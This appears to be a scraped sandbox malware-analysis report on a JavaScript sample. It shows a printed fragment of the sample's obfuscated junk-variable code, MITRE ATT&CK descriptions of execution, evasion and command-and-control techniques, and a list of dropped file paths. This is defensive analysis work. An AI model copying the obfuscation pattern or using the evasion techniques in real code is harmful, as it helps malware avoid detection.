1396	tcbwred = "F";
1397	tcbwred = "y";
1398	tcbwred = "P";
1399	tcbwred = "a";
1400	tcbwred = "I";
1401	tcbwred = "j";
1402	tcbwred = "T";
1403	tcbwred = "e";
1404	tcbwred = "f";
1405	tcbwred = "l";
1406	tcbwred = "U";
1407	tcbwred = "t";
1408	tcbwred = "r";
1409	tcbwred = "x";
1410	tcbwred = "i";
1411	tcbwred = "B";
1412	tcbwred = "&";
1413	fyhqp = "V";
1414	fyhqp = "L";
1415	fyhqp = "K";
1416	fyhqp = "f";
1417	fyhqp = "d";
1418	fyhqp = "Z";
1419	fyhqp = "N";
1420	fyhqp = "E";
1421	fyhqp = "i";
1422	fyhqp = "y";
1423	fyhqp = "o";
1424	fyhqp = "x";
1425	fyhqp = "T";
1426	fyhqp = "g";
1427	jxlqdqoke = "X";
1428	jxlqdqoke = "K";
1429	jxlqdqoke = "u";
1430	jxlqdqoke = "z";
1431	jxlqdqoke = "b";
1432	jxlqdqoke = "K";
1433	jxlqdqoke = "H";
1434	jxlqdqoke = "f";
1435	jxlqdqoke = "u";
1436	xwtubxqn = "q";
1437	xwtubxqn = "o";
1438	gavtzgy ( );	gavtzgy() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2837518771550414407.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cf326444-0385-464d-8201-eb80450ddb06.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2308

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2837518771550414407.js